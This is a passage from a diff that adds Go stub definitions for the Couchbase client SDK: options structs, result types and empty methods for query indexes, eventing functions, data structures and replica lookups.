+func (_ *CollectionQueryIndexManager) GetAllIndexes(_ *GetAllQueryIndexesOptions) ([]QueryIndex, error) {
+	return nil, nil
+}
+
+func (_ *CollectionQueryIndexManager) WatchIndexes(_ []string, _ time.Duration, _ *WatchQueryIndexOptions) error {
+	return nil
+}
+
+type CollectionSpec struct {
+	Name      string
+	ScopeName string
+	MaxExpiry time.Duration
+	History   *CollectionHistorySettings
+}
+
+type CompressionMode string
+
+type ConflictResolutionType string
+
+type ConnectAnalyticsLinkOptions struct {
+	LinkName      string
+	DataverseName string
+	Timeout       time.Duration
+	RetryStrategy RetryStrategy
+	ParentSpan    RequestSpan
+	Context       context.Context
+}
+
+type CouchbaseList struct{}
+
+func (_ *CouchbaseList) Append(_ interface{}) error {
+	return nil
+}
+
+func (_ *CouchbaseList) At(_ int, _ interface{}) error {
+	return nil
+}
+
+func (_ *CouchbaseList) Clear() error {
+	return nil
+}
+
+func (_ *CouchbaseList) IndexOf(_ interface{}) (int, error) {
+	return 0, nil
+}
+
+func (_ *CouchbaseList) Iterator() ([]interface{}, error) {
+	return nil, nil
+}
+
+func (_ *CouchbaseList) Prepend(_ interface{}) error {
+	return nil
+}
+
+func (_ *CouchbaseList) RemoveAt(_ int) error {
+	return nil
+}
+
+func (_ *CouchbaseList) Size() (int, error) {
+	return 0, nil
+}
+
+type CouchbaseMap struct{}
+
+func (_ *CouchbaseMap) Add(_ string, _ interface{}) error {
+	return nil
+}
+
+func (_ *CouchbaseMap) At(_ string, _ interface{}) error {
+	return nil
+}
+
+func (_ *CouchbaseMap) Clear() error {
+	return nil
+}
+
+func (_ *CouchbaseMap) Exists(_ string) (bool, error) {
+	return false, nil
+}
+
+func (_ *CouchbaseMap) Iterator() (map[string]interface{}, error) {
+	return nil, nil
+}
+
+func (_ *CouchbaseMap) Keys() ([]string, error) {
+	return nil, nil
+}
+
+func (_ *CouchbaseMap) Remove(_ string) error {
+	return nil
+}
+
+func (_ *CouchbaseMap) Size() (int, error) {
+	return 0, nil
+}
+
+func (_ *CouchbaseMap) Values() ([]interface{}, error) {
+	return nil, nil
+}
+
+type CouchbaseQueue struct{}
+
+func (_ *CouchbaseQueue) Clear() error {
+	return nil
+}
+
+func (_ *CouchbaseQueue) Iterator() ([]interface{}, error) {
+	return nil, nil
+}
+
+func (_ *CouchbaseQueue) Pop(_ interface{}) error {
+	return nil
+}
+
+func (_ *CouchbaseQueue) Push(_ interface{}) error {
+	return nil
+}
+
+func (_ *CouchbaseQueue) Size() (int, error) {
+	return 0, nil
+}
+
+type CouchbaseSet struct{}
+
+func (_ *CouchbaseSet) Add(_ interface{}) error {
+	return nil
+}
+
+func (_ *CouchbaseSet) Clear() error {
+	return nil
+}
+
+func (_ *CouchbaseSet) Contains(_ string) (bool, error) {
+	return false, nil
+}
+
+func (_ *CouchbaseSet) Iterator() ([]interface{}, error) {
+	return nil, nil
+}
+
+func (_ *CouchbaseSet) Remove(_ string) error {
+	return nil
+}
+
+func (_ *CouchbaseSet) Size() (int, error) {
+	return 0, nil
+}
+
+func (_ *CouchbaseSet) Values() ([]interface{}, error) {
+	return nil, nil
+}
+
+type CounterResult struct {
+	MutationResult
+}
+
+func (_ CounterResult) Cas() Cas {
+	return 0
+}
+
+func (_ CounterResult) Content() uint64 {
+	return 0
+}
+
+func (_ CounterResult) MutationToken() *MutationToken {
+	return nil
+}
+
+type CreateAnalyticsDatasetOptions struct {
+	IgnoreIfExists bool
+	Condition      string
+	DataverseName  string
+	Timeout        time.Duration
+	RetryStrategy  RetryStrategy
+	ParentSpan     RequestSpan
+	Context        context.Context
+}
+
+type CreateAnalyticsDataverseOptions struct {
+	IgnoreIfExists bool
+	Timeout        time.Duration
+	RetryStrategy  RetryStrategy
+	ParentSpan     RequestSpan
+	Context        context.Context
+}
+
+type CreateAnalyticsIndexOptions struct {
+	IgnoreIfExists bool
+	DataverseName  string
+	Timeout        time.Duration
+	RetryStrategy  RetryStrategy
+	ParentSpan     RequestSpan
+	Context        context.Context
+}
+
+type CreateAnalyticsLinkOptions struct {
+	Timeout       time.Duration
+	RetryStrategy RetryStrategy
+	ParentSpan    RequestSpan
+	Context       context.Context
+}
+
+type CreateBucketOptions struct {
+	Timeout       time.Duration
+	RetryStrategy RetryStrategy
+	ParentSpan    RequestSpan
+	Context       context.Context
+}
+
+type CreateBucketSettings struct {
+	BucketSettings
+	ConflictResolutionType ConflictResolutionType
+}
+
+type CreateCollectionOptions struct {
+	Timeout       time.Duration
+	RetryStrategy RetryStrategy
+	ParentSpan    RequestSpan
+	Context       context.Context
+}
+
+type CreateCollectionSettings struct {
+	MaxExpiry time.Duration
+	History   *CollectionHistorySettings
+}
+
+type CreatePrimaryQueryIndexOptions struct {
+	IgnoreIfExists bool
+	Deferred       bool
+	CustomName     string
+	NumReplicas    int
+	Timeout        time.Duration
+	RetryStrategy  RetryStrategy
+	ParentSpan     RequestSpan
+	ScopeName      string
+	CollectionName string
+	Context        context.Context
+}
+
+type CreateQueryIndexOptions struct {
+	IgnoreIfExists bool
+	Deferred       bool
+	NumReplicas    int
+	Timeout        time.Duration
+	RetryStrategy  RetryStrategy
+	ParentSpan     RequestSpan
+	ScopeName      string
+	CollectionName string
+	Context        context.Context
+}
+
+type CreateScopeOptions struct {
+	Timeout       time.Duration
+	RetryStrategy RetryStrategy
+	ParentSpan    RequestSpan
+	Context       context.Context
+}
+
+type DecrementOptions struct {
+	Timeout         time.Duration
+	Expiry          time.Duration
+	Initial         int64
+	Delta           uint64
+	DurabilityLevel DurabilityLevel
+	PersistTo       uint
+	ReplicateTo     uint
+	RetryStrategy   RetryStrategy
+	ParentSpan      RequestSpan
+	Cas             Cas
+	Context         context.Context
+	Internal        struct {
+		User string
+	}
+}
+
+type DeployEventingFunctionOptions struct {
+	Timeout       time.Duration
+	RetryStrategy RetryStrategy
+	ParentSpan    RequestSpan
+	Context       context.Context
+}
+
+type DesignDocument struct {
+	Name  string
+	Views map[string]View
+}
+
+type DesignDocumentNamespace uint
+
+type DiagnosticsOptions struct {
+	ReportID string
+}
+
+type DiagnosticsResult struct {
+	ID       string
+	Services map[string][]EndPointDiagnostics
+	State    ClusterState
+}
+
+func (_ *DiagnosticsResult) MarshalJSON() ([]byte, error) {
+	return nil, nil
+}
+
+type DisallowQueryingSearchIndexOptions struct {
+	Timeout       time.Duration
+	RetryStrategy RetryStrategy
+	ParentSpan    RequestSpan
+	Context       context.Context
+}
+
+type DisconnectAnalyticsLinkOptions struct {
+	LinkName      string
+	DataverseName string
+	Timeout       time.Duration
+	RetryStrategy RetryStrategy
+	ParentSpan    RequestSpan
+	Context       context.Context
+}
+
+type DropAnalyticsDatasetOptions struct {
+	IgnoreIfNotExists bool
+	DataverseName     string
+	Timeout           time.Duration
+	RetryStrategy     RetryStrategy
+	ParentSpan        RequestSpan
+	Context           context.Context
+}
+
+type DropAnalyticsDataverseOptions struct {
+	IgnoreIfNotExists bool
+	Timeout           time.Duration
+	RetryStrategy     RetryStrategy
+	ParentSpan        RequestSpan
+	Context           context.Context
+}
+
+type DropAnalyticsIndexOptions struct {
+	IgnoreIfNotExists bool
+	DataverseName     string
+	Timeout           time.Duration
+	RetryStrategy     RetryStrategy
+	ParentSpan        RequestSpan
+	Context           context.Context
+}
+
+type DropAnalyticsLinkOptions struct {
+	Timeout       time.Duration
+	RetryStrategy RetryStrategy
+	ParentSpan    RequestSpan
+	Context       context.Context
+}
+
+type DropBucketOptions struct {
+	Timeout       time.Duration
+	RetryStrategy RetryStrategy
+	ParentSpan    RequestSpan
+	Context       context.Context
+}
+
+type DropCollectionOptions struct {
+	Timeout       time.Duration
+	RetryStrategy RetryStrategy
+	ParentSpan    RequestSpan
+	Context       context.Context
+}
+
+type DropDesignDocumentOptions struct {
+	Timeout       time.Duration
+	RetryStrategy RetryStrategy
+	ParentSpan    RequestSpan
+	Context       context.Context
+}
+
+type DropEventingFunctionOptions struct {
+	Timeout       time.Duration
+	RetryStrategy RetryStrategy
+	ParentSpan    RequestSpan
+	Context       context.Context
+}
+
+type DropGroupOptions struct {
+	Timeout       time.Duration
+	RetryStrategy RetryStrategy
+	ParentSpan    RequestSpan
+	Context       context.Context
+}
+
+type DropPrimaryQueryIndexOptions struct {
+	IgnoreIfNotExists bool
+	CustomName        string
+	Timeout           time.Duration
+	RetryStrategy     RetryStrategy
+	ParentSpan        RequestSpan
+	ScopeName         string
+	CollectionName    string
+	Context           context.Context
+}
+
+type DropQueryIndexOptions struct {
+	IgnoreIfNotExists bool
+	Timeout           time.Duration
+	RetryStrategy     RetryStrategy
+	ParentSpan        RequestSpan
+	ScopeName         string
+	CollectionName    string
+	Context           context.Context
+}
+
+type DropScopeOptions struct {
+	Timeout       time.Duration
+	RetryStrategy RetryStrategy
+	ParentSpan    RequestSpan
+	Context       context.Context
+}
+
+type DropSearchIndexOptions struct {
+	Timeout       time.Duration
+	RetryStrategy RetryStrategy
+	ParentSpan    RequestSpan
+	Context       context.Context
+}
+
+type DropUserOptions struct {
+	Timeout       time.Duration
+	RetryStrategy RetryStrategy
+	DomainName    string
+	ParentSpan    RequestSpan
+	Context       context.Context
+}
+
+type DurabilityLevel uint8
+
+type EndPointDiagnostics struct {
+	Type         ServiceType
+	ID           string
+	Local        string
+	Remote       string
+	LastActivity time.Time
+	State        EndpointState
+	Namespace    string
+}
+
+type EndpointPingReport struct {
+	ID        string
+	Local     string
+	Remote    string
+	State     PingState
+	Error     string
+	Namespace string
+	Latency   time.Duration
+}
+
+type EndpointState uint
+
+type EventingFunction struct {
+	Name               string
+	Code               string
+	Version            string
+	EnforceSchema      bool
+	HandlerUUID        int
+	FunctionInstanceID string
+	MetadataKeyspace   EventingFunctionKeyspace
+	SourceKeyspace     EventingFunctionKeyspace
+	BucketBindings     []EventingFunctionBucketBinding
+	UrlBindings        []EventingFunctionUrlBinding
+	ConstantBindings   []EventingFunctionConstantBinding
+	Settings           EventingFunctionSettings
+}
+
+func (_ *EventingFunction) MarshalJSON() ([]byte, error) {
+	return nil, nil
+}
+
+func (_ *EventingFunction) UnmarshalJSON(_ []byte) error {
+	return nil
+}
+
+type EventingFunctionBucketAccess string
+
+type EventingFunctionBucketBinding struct {
+	Alias  string
+	Name   EventingFunctionKeyspace
+	Access EventingFunctionBucketAccess
+}
+
+type EventingFunctionConstantBinding struct {
+	Alias   string
+	Literal string
+}
+
+type EventingFunctionDCPBoundary string
+
+type EventingFunctionDeploymentStatus bool
+
+type EventingFunctionKeyspace struct {
+	Bucket     string
+	Scope      string
+	Collection string
+}
+
+type EventingFunctionLanguageCompatibility string
+
+type EventingFunctionLogLevel string
+
+type EventingFunctionManager struct{}
+
+func (_ *EventingFunctionManager) DeployFunction(_ string, _ *DeployEventingFunctionOptions) error {
+	return nil
+}
+
+func (_ *EventingFunctionManager) DropFunction(_ string, _ *DropEventingFunctionOptions) error {
+	return nil
+}
+
+func (_ *EventingFunctionManager) FunctionsStatus(_ *EventingFunctionsStatusOptions) (*EventingStatus, error) {
+	return nil, nil
+}
+
+func (_ *EventingFunctionManager) GetAllFunctions(_ *GetAllEventingFunctionsOptions) ([]EventingFunction, error) {
+	return nil, nil
+}
+
+func (_ *EventingFunctionManager) GetFunction(_ string, _ *GetEventingFunctionOptions) (*EventingFunction, error) {
+	return nil, nil
+}
+
+func (_ *EventingFunctionManager) PauseFunction(_ string, _ *PauseEventingFunctionOptions) error {
+	return nil
+}
+
+func (_ *EventingFunctionManager) ResumeFunction(_ string, _ *ResumeEventingFunctionOptions) error {
+	return nil
+}
+
+func (_ *EventingFunctionManager) UndeployFunction(_ string, _ *UndeployEventingFunctionOptions) error {
+	return nil
+}
+
+func (_ *EventingFunctionManager) UpsertFunction(_ EventingFunction, _ *UpsertEventingFunctionOptions) error {
+	return nil
+}
+
+type EventingFunctionProcessingStatus bool
+
+type EventingFunctionSettings struct {
+	CPPWorkerThreadCount   int
+	DCPStreamBoundary      EventingFunctionDCPBoundary
+	Description            string
+	DeploymentStatus       EventingFunctionDeploymentStatus
+	ProcessingStatus       EventingFunctionProcessingStatus
+	LanguageCompatibility  EventingFunctionLanguageCompatibility
+	LogLevel               EventingFunctionLogLevel
+	ExecutionTimeout       time.Duration
+	LCBInstCapacity        int
+	LCBRetryCount          int
+	LCBTimeout             time.Duration
+	QueryConsistency       QueryScanConsistency
+	NumTimerPartitions     int
+	SockBatchSize          int
+	TickDuration           time.Duration
+	TimerContextSize       int
+	UserPrefix             string
+	BucketCacheSize        int
+	BucketCacheAge         int
+	CurlMaxAllowedRespSize int
+	QueryPrepareAll        bool
+	WorkerCount            int
+	HandlerHeaders         []string
+	HandlerFooters         []string
+	EnableAppLogRotation   bool
+	AppLogDir              string
+	AppLogMaxSize          int
+	AppLogMaxFiles         int
+	CheckpointInterval     time.Duration
+}
+
+type EventingFunctionState struct {
+	Name                  string
+	Status                EventingFunctionStatus
+	NumBootstrappingNodes int
+	NumDeployedNodes      int
+	DeploymentStatus      EventingFunctionDeploymentStatus
+	ProcessingStatus      EventingFunctionProcessingStatus
+}
+
+type EventingFunctionStatus string
+
+type EventingFunctionUrlAuth interface {
+	Key() string
+	Method() string
+	Password() string
+	Username() string
+}
+
+type EventingFunctionUrlBinding struct {
+	Hostname               string
+	Alias                  string
+	Auth                   EventingFunctionUrlAuth
+	AllowCookies           bool
+	ValidateSSLCertificate bool
+}
+
+type EventingFunctionsStatusOptions struct {
+	Timeout       time.Duration
+	RetryStrategy RetryStrategy
+	ParentSpan    RequestSpan
+	Context       context.Context
+}
+
+type EventingStatus struct {
+	NumEventingNodes int
+	Functions        []EventingFunctionState
+}
+
+func (_ *EventingStatus) UnmarshalJSON(_ []byte) error {
+	return nil
+}
+
+type EvictionPolicyType string
+
+type ExistsOptions struct {
+	Timeout       time.Duration
+	RetryStrategy RetryStrategy
+	ParentSpan    RequestSpan
+	Context       context.Context
+	Internal      struct {
+		User string
+	}
+}
+
+type ExistsResult struct {
+	Result
+}
+
+func (_ *ExistsResult) Cas() Cas {
+	return 0
+}
+
+func (_ *ExistsResult) Exists() bool {
+	return false
+}
+
+type FlushBucketOptions struct {
+	Timeout       time.Duration
+	RetryStrategy RetryStrategy
+	ParentSpan    RequestSpan
+	Context       context.Context
+}
+
+type FreezePlanSearchIndexOptions struct {
+	Timeout       time.Duration
+	RetryStrategy RetryStrategy
+	ParentSpan    RequestSpan
+	Context       context.Context
+}
+
+type GetAllAnalyticsDatasetsOptions struct {
+	Timeout       time.Duration
+	RetryStrategy RetryStrategy
+	ParentSpan    RequestSpan
+	Context       context.Context
+}
+
+type GetAllAnalyticsIndexesOptions struct {
+	Timeout       time.Duration
+	RetryStrategy RetryStrategy
+	ParentSpan    RequestSpan
+	Context       context.Context
+}
+
+type GetAllBucketsOptions struct {
+	Timeout       time.Duration
+	RetryStrategy RetryStrategy
+	ParentSpan    RequestSpan
+	Context       context.Context
+}
+
+type GetAllDesignDocumentsOptions struct {
+	Timeout       time.Duration
+	RetryStrategy RetryStrategy
+	ParentSpan    RequestSpan
+	Context       context.Context
+}
+
+type GetAllEventingFunctionsOptions struct {
+	Timeout       time.Duration
+	RetryStrategy RetryStrategy
+	ParentSpan    RequestSpan
+	Context       context.Context
+}
+
+type GetAllGroupsOptions struct {
+	Timeout       time.Duration
+	RetryStrategy RetryStrategy
+	ParentSpan    RequestSpan
+	Context       context.Context
+}
+
+type GetAllQueryIndexesOptions struct {
+	Timeout        time.Duration
+	RetryStrategy  RetryStrategy
+	ParentSpan     RequestSpan
+	ScopeName      string
+	CollectionName string
+	Context        context.Context
+}
+
+type GetAllReplicaOptions struct {
+	Transcoder     Transcoder
+	Timeout        time.Duration
+	RetryStrategy  RetryStrategy
+	ParentSpan     RequestSpan
+	ReadPreference ReadPreference
+	Context        context.Context
+	Internal       struct {
+		User string
+	}
+}
+
+type GetAllReplicasResult struct{}
+
+func (_ *GetAllReplicasResult) Close() error {
+	return nil
+}
+
+func (_ *GetAllReplicasResult) Next() *GetReplicaResult {
+	return nil
+}
+
+type GetAllScopesOptions struct {
+	Timeout       time.Duration
+	RetryStrategy RetryStrategy
+	ParentSpan    RequestSpan
+	Context       context.Context
+}
+
+type GetAllSearchIndexOptions struct {
+	Timeout       time.Duration
+	RetryStrategy RetryStrategy
+	ParentSpan    RequestSpan
+	Context       context.Context
+}
+
+type GetAllUsersOptions struct {
+	Timeout       time.Duration
+	RetryStrategy RetryStrategy
+	DomainName    string
+	ParentSpan    RequestSpan
+	Context       context.Context
+}
+
+type GetAnalyticsLinksOptions struct {
+	Timeout       time.Duration
+	RetryStrategy RetryStrategy
+	ParentSpan    RequestSpan
+	Dataverse     string
+	LinkType      AnalyticsLinkType
+	Name          string
+	Context       context.Context
+}
+
+type GetAndLockOptions struct {
+	Transcoder    Transcoder
+	Timeout       time.Duration
+	RetryStrategy RetryStrategy
+	ParentSpan    RequestSpan
+	Context       context.Context
+	Internal      struct {
+		User string
+	}
+}
+
+type GetAndTouchOptions struct {
+	Transcoder    Transcoder
+	Timeout       time.Duration
+	RetryStrategy RetryStrategy
+	ParentSpan    RequestSpan
+	Context       context.Context
+	Internal      struct {
+		User string
+	}
+}
+
+type GetAnyReplicaOptions struct {
+	Transcoder     Transcoder
+	Timeout        time.Duration
+	RetryStrategy  RetryStrategy
+	ParentSpan     RequestSpan
+	ReadPreference ReadPreference
+	Context        context.Context
+	Internal       struct {
+		User string
+	}
+}
+
+type GetBucketOptions struct {
+	Timeout       time.Duration
+	RetryStrategy RetryStrategy
+	ParentSpan    RequestSpan
+	Context       context.Context
+}
+
+type GetDesignDocumentOptions struct {
+	Timeout       time.Duration
+	RetryStrategy RetryStrategy
+	ParentSpan    RequestSpan
+	Context       context.Context
+}
+
+type GetEventingFunctionOptions struct {
+	Timeout       time.Duration
+	RetryStrategy RetryStrategy
+	ParentSpan    RequestSpan
+	Context       context.Context
+}
+
+type GetGroupOptions struct {
+	Timeout       time.Duration
+	RetryStrategy RetryStrategy
+	ParentSpan    RequestSpan
+	Context       context.Context
+}
+
+type GetIndexedDocumentsCountOptions struct {
+	Timeout       time.Duration
+	RetryStrategy RetryStrategy
+	ParentSpan    RequestSpan
+	Context       context.Context
+}
+
+type GetNodesMetadataOptions struct {
+	Timeout       time.Duration
+	RetryStrategy RetryStrategy
+	ParentSpan    RequestSpan
+	Context       context.Context
+}
+
+type GetOptions struct {
+	WithExpiry    bool
+	Project       []string
+	Transcoder    Transcoder
+	Timeout       time.Duration
+	RetryStrategy RetryStrategy
+	ParentSpan    RequestSpan
+	Context       context.Context
+	Internal      struct {
+		User string
+	}
+}
+
+type GetPendingMutationsAnalyticsOptions struct {
+	Timeout       time.Duration
+	RetryStrategy RetryStrategy
+	ParentSpan    RequestSpan
+	Context       context.Context
+}
+
+type GetReplicaResult struct {
+	GetResult
+}
+
+func (_ *GetReplicaResult) Cas() Cas {
+	return 0
+}
+
+func (_ *GetReplicaResult) Content(_ interface{}) error {
+	return nil
+}
+
+func (_ *GetReplicaResult) Expiry() *time.Duration {
+	return nil
+}
+
+func (_ *GetReplicaResult) ExpiryTime() time.Time {
+	return time.Time{}
+}
+
+func (_ *GetReplicaResult) IsReplica() bool {
+	return false
+}
+
+type GetResult struct {
+	Result
+}
+
+func (_ *GetResult) Cas() Cas {
+	return 0
+}
+
+func (_ *GetResult) Content(_ interface{}) error {
+	return nil
+}
+
+func (_ *GetResult) Expiry() *time.Duration {
+	return nil
+}
+
+func (_ *GetResult) ExpiryTime() time.Time {
+	return time.Time{}
+}
+
+type GetRolesOptions struct {
+	Timeout       time.Duration
+	RetryStrategy RetryStrategy
+	ParentSpan    RequestSpan
+	Context       context.Context
+}
+
+type GetSearchIndexOptions struct {
+	Timeout       time.Duration
+	RetryStrategy RetryStrategy
+	ParentSpan    RequestSpan
+	Context       context.Context
+}
+
+type GetUserOptions struct {
+	Timeout       time.Duration
+	RetryStrategy RetryStrategy
+	DomainName    string
+	ParentSpan    RequestSpan
+	Context       context.Context
+}
+
+type Group struct {
+	Name               string
+	Description        string
+	Roles              []Role
+	LDAPGroupReference string
+}
+
+type HistoryRetentionCollectionDefault uint8
+
+type IncrementOptions struct {
+	Timeout         time.Duration
+	Expiry          time.Duration
+	Initial         int64
+	Delta           uint64
+	DurabilityLevel DurabilityLevel
+	PersistTo       uint
+	ReplicateTo     uint
+	RetryStrategy   RetryStrategy
+	ParentSpan      RequestSpan
+	Cas             Cas
+	Context         context.Context
+	Internal        struct {
+		User string
+	}
+}
+
+type InsertOptions struct {
+	Expiry          time.Duration
+	PersistTo       uint
+	ReplicateTo     uint
+	DurabilityLevel DurabilityLevel
+	Transcoder      Transcoder
+	Timeout         time.Duration
+	RetryStrategy   RetryStrategy
+	ParentSpan      RequestSpan
+	Context         context.Context
+	Internal        struct {
+		User string
+	}
+}
+
+type InternalBucket struct{}
+
+func (_ *InternalBucket) CapabilityStatus(_ Capability) (CapabilityStatus, error) {
+	return 0, nil
+}
+
+func (_ *InternalBucket) IORouter() (interface{}, error) {
+	return nil, nil
+}
+
+type InternalCluster struct{}
+
+func (_ *InternalCluster) GetNodesMetadata(_ *GetNodesMetadataOptions) ([]NodeMetadata, error) {
+	return nil, nil
+}
+
+type InternalTransactionAttemptContext struct{}
+
+func (_ *InternalTransactionAttemptContext) IsExpired() bool {
+	return false
+}
+
+type LogLevel int
+
+type LookupInAllReplicaOptions struct {
+	Timeout        time.Duration
+	RetryStrategy  RetryStrategy
+	ParentSpan     RequestSpan
+	ReadPreference ReadPreference
+	Context        context.Context
+	Internal       struct {
+		DocFlags SubdocDocFlag
+		User     string
+	}
+}
+
+type LookupInAllReplicasResult struct{}
+
+func (_ *LookupInAllReplicasResult) Close() error {
+	return nil
+}
+
+func (_ *LookupInAllReplicasResult) Next() *LookupInReplicaResult {
+	return nil
+}
+
+type LookupInAnyReplicaOptions struct {
+	Timeout        time.Duration
+	RetryStrategy  RetryStrategy
+	ParentSpan     RequestSpan
+	ReadPreference ReadPreference
+	Context        context.Context
+	Internal       struct {
+		DocFlags SubdocDocFlag
+		User     string
+	}
+}
+
+type LookupInOptions struct {
+	Timeout       time.Duration
+	RetryStrategy RetryStrategy
+	ParentSpan    RequestSpan
+	Context       context.Context
+	Internal      struct {
+		DocFlags SubdocDocFlag
+		User     string
+	}
+}
+
+type LookupInReplicaResult struct {
+	*LookupInResult
+}
+
+func (_ *LookupInReplicaResult) IsReplica() bool {
+	return false
+}
+
+type LookupInResult struct {
+	Result
+}
+
+func (_ *LookupInResult) Cas() Cas {
+	return 0
+}
+
+func (_ *LookupInResult) ContentAt(_ uint, _ interface{}) error {
+	return nil
+}
+
+func (_ *LookupInResult) Exists(_ uint) bool {
+	return false
+}
+
+type LookupInSpec struct{}
+
+type MutateInOptions struct {
+	Expiry          time.Duration
+	Cas             Cas
+	PersistTo       uint
+	ReplicateTo     uint
+	DurabilityLevel DurabilityLevel
+	StoreSemantic   StoreSemantics
+	Timeout         time.Duration
+	RetryStrategy   RetryStrategy
+	ParentSpan      RequestSpan
+	PreserveExpiry  bool
+	Context         context.Context
+	Internal        struct {
+		DocFlags SubdocDocFlag
+		User     string
+	}
+}
+
+type MutateInResult struct {
+	MutationResult
+}
+
+func (_ MutateInResult) ContentAt(_ uint, _ interface{}) error {
+	return nil
+}
+
+type MutateInSpec struct{}
+
+type MutationResult struct {
+	Result
+}
+
+func (_ MutationResult) MutationToken() *MutationToken {
+	return nil
+}
+
+func (_ *MutationResult) Cas() Cas {
+	return 0
+}
+
+type MutationState struct{}
+
+func (_ *MutationState) Add(_ ...MutationToken) {}
+
+func (_ *MutationState) Internal() *MutationStateInternal {
+	return nil
+}
+
+func (_ *MutationState) MarshalJSON() ([]byte, error) {
+	return nil, nil
+}
+
+func (_ *MutationState) UnmarshalJSON(_ []byte) error {
+	return nil
+}
+
+type MutationStateInternal struct{}
+
+func (_ *MutationStateInternal) Add(_ string, _ ...interface{}) {}
+
+func (_ *MutationStateInternal) Tokens() []MutationToken {
+	return nil
+}
+
+type MutationToken struct{}
+
+func (_ MutationToken) BucketName() string {
+	return ""
+}
+
+func (_ MutationToken) PartitionID() uint64 {
+	return 0
+}
+
+func (_ MutationToken) PartitionUUID() uint64 {
+	return 0
+}
+
+func (_ MutationToken) SequenceNumber() uint64 {
+	return 0
+}
+
+type NodeMetadata struct {
+	ClusterCompatibility int
+	ClusterMembership    string
+	CouchAPIBase         string
+	Hostname             string
+	InterestingStats     map[string]float64
+	MCDMemoryAllocated   float64
+	MCDMemoryReserved    float64
+	MemoryFree           float64
+	MemoryTotal          float64
+	OS                   string
+	Ports                map[string]int
+	Status               string
+	Uptime               int
+	Version              string
+	ThisNode             bool
+}
+
+type Origin struct {
+	Type string
+	Name string
+}
+
+type PauseEventingFunctionOptions struct {
+	Timeout       time.Duration
+	RetryStrategy RetryStrategy
+	ParentSpan    RequestSpan
+	Context       context.Context
+}
+
+type PauseIngestSearchIndexOptions struct {
+	Timeout       time.Duration
+	RetryStrategy RetryStrategy
+	ParentSpan    RequestSpan
+	Context       context.Context
+}
+
+type PingOptions struct {
+	ServiceTypes []ServiceType
+	ReportID     string
+	Timeout      time.Duration
+	ParentSpan   RequestSpan
+	Context      context.Context
+}
+
+type PingResult struct {
+	ID       string
+	Services map[ServiceType][]EndpointPingReport
+}
+
+func (_ *PingResult) MarshalJSON() ([]byte, error) {
+	return nil, nil
+}
+
+type PingState uint
+
+type PrependOptions struct {
+	Timeout         time.Duration
+	DurabilityLevel DurabilityLevel
+	PersistTo       uint
+	ReplicateTo     uint
+	Cas             Cas
+	RetryStrategy   RetryStrategy
+	ParentSpan      RequestSpan
+	Context         context.Context
+	Internal        struct {
+		User string
+	}
+}
+
+type PublishDesignDocumentOptions struct {
+	Timeout       time.Duration
+	RetryStrategy RetryStrategy
+	ParentSpan    RequestSpan
+	Context       context.Context
+}
+
+type QueryIndex struct {
+	Name           string
+	IsPrimary      bool
+	Type           QueryIndexType
+	State          string
+	Keyspace       string
+	Namespace      string
+	IndexKey       []string
+	Condition      string
+	Partition      string
+	CollectionName string
+	ScopeName      string
+	BucketName     string
+}
+
+type QueryIndexManager struct{}
+
+func (_ *QueryIndexManager) BuildDeferredIndexes(_ string, _ *BuildDeferredQueryIndexOptions) ([]string, error) {
+	return nil, nil
+}
+
+func (_ *QueryIndexManager) CreateIndex(_ string, _ string, _ []string, _ *CreateQueryIndexOptions) error {
+	return nil
+}
+
+func (_ *QueryIndexManager) CreatePrimaryIndex(_ string, _ *CreatePrimaryQueryIndexOptions) error {
+	return nil
+}
+
+func (_ *QueryIndexManager) DropIndex(_ string, _ string, _ *DropQueryIndexOptions) error {
+	return nil
+}
+
+func (_ *QueryIndexManager) DropPrimaryIndex(_ string, _ *DropPrimaryQueryIndexOptions) error {
+	return nil
+}
+
+func (_ *QueryIndexManager) GetAllIndexes(_ string, _ *GetAllQueryIndexesOptions) ([]QueryIndex, error) {
+	return nil, nil
+}
+
+func (_ *QueryIndexManager) WatchIndexes(_ string, _ []string, _ time.Duration, _ *WatchQueryIndexOptions) error {
+	return nil
+}
+
+type QueryIndexType string
+
+type QueryMetaData struct {
+	RequestID       string
+	ClientContextID string
+	Status          QueryStatus
+	Metrics         QueryMetrics
+	Signature       interface{}
+	Warnings        []QueryWarning
+	Profile         interface{}
+}
+
+type QueryMetrics struct {
+	ElapsedTime   time.Duration
+	ExecutionTime time.Duration
+	ResultCount   uint64
+	ResultSize    uint64
+	MutationCount uint64
+	SortCount     uint64
+	ErrorCount    uint64
+	WarningCount  uint64
+}
+
+type QueryOptions struct {
+	ScanConsistency      QueryScanConsistency
+	ConsistentWith       *MutationState
+	Profile              QueryProfileMode
+	ScanCap              uint32
+	PipelineBatch        uint32
+	PipelineCap          uint32
+	ScanWait             time.Duration
+	Readonly             bool
+	MaxParallelism       uint32
+	ClientContextID      string
+	PositionalParameters []interface{}
+	NamedParameters      map[string]interface{}
+	Metrics              bool
+	Raw                  map[string]interface{}
+	Adhoc                bool
+	Timeout              time.Duration
+	RetryStrategy        RetryStrategy
+	FlexIndex            bool
+	PreserveExpiry       bool
+	ParentSpan           RequestSpan
+	Context              context.Context
+	AsTransaction        *SingleQueryTransactionOptions
+	UseReplica           QueryUseReplicaLevel
+	Internal             struct {
+		User     string
+		Endpoint string
+	}
+}
+
+type QueryProfileMode string
+
+type QueryResult struct{}
+
+func (_ *QueryResult) Close() error {
+	return nil
+}
+
+func (_ *QueryResult) Err() error {
+	return nil
+}
+
+func (_ *QueryResult) Internal() *QueryResultInternal {
+	return nil
+}
+
+func (_ *QueryResult) MetaData() (*QueryMetaData, error) {
+	return nil, nil
+}
+
+func (_ *QueryResult) Next() bool {
+	return false
+}
+
+func (_ *QueryResult) One(_ interface{}) error {
+	return nil
+}
+
+func (_ *QueryResult) Raw() *QueryResultRaw {
+	return nil
+}
+
+func (_ *QueryResult) Row(_ interface{}) error {
+	return nil
+}
+
+type QueryResultInternal struct{}
+
+func (_ *QueryResultInternal) Endpoint() string {
+	return ""
+}
+
+type QueryResultRaw struct{}
+
+func (_ *QueryResultRaw) Close() error {
+	return nil
+}
+
+func (_ *QueryResultRaw) Err() error {
+	return nil
+}
+
+func (_ *QueryResultRaw) MetaData() ([]byte, error) {
+	return nil, nil
+}
+
+func (_ *QueryResultRaw) NextBytes() []byte {
+	return nil
+}
+
+type QueryScanConsistency uint
+
+type QueryStatus string
+
+type QueryUseReplicaLevel uint
+
+type QueryWarning struct {
+	Code    uint32
+	Message string
+}
+
+type ReadPreference uint8
+
+type RemoveOptions struct {
+	Cas             Cas
+	PersistTo       uint
+	ReplicateTo     uint
+	DurabilityLevel DurabilityLevel
+	Timeout         time.Duration
+	RetryStrategy   RetryStrategy
+	ParentSpan      RequestSpan
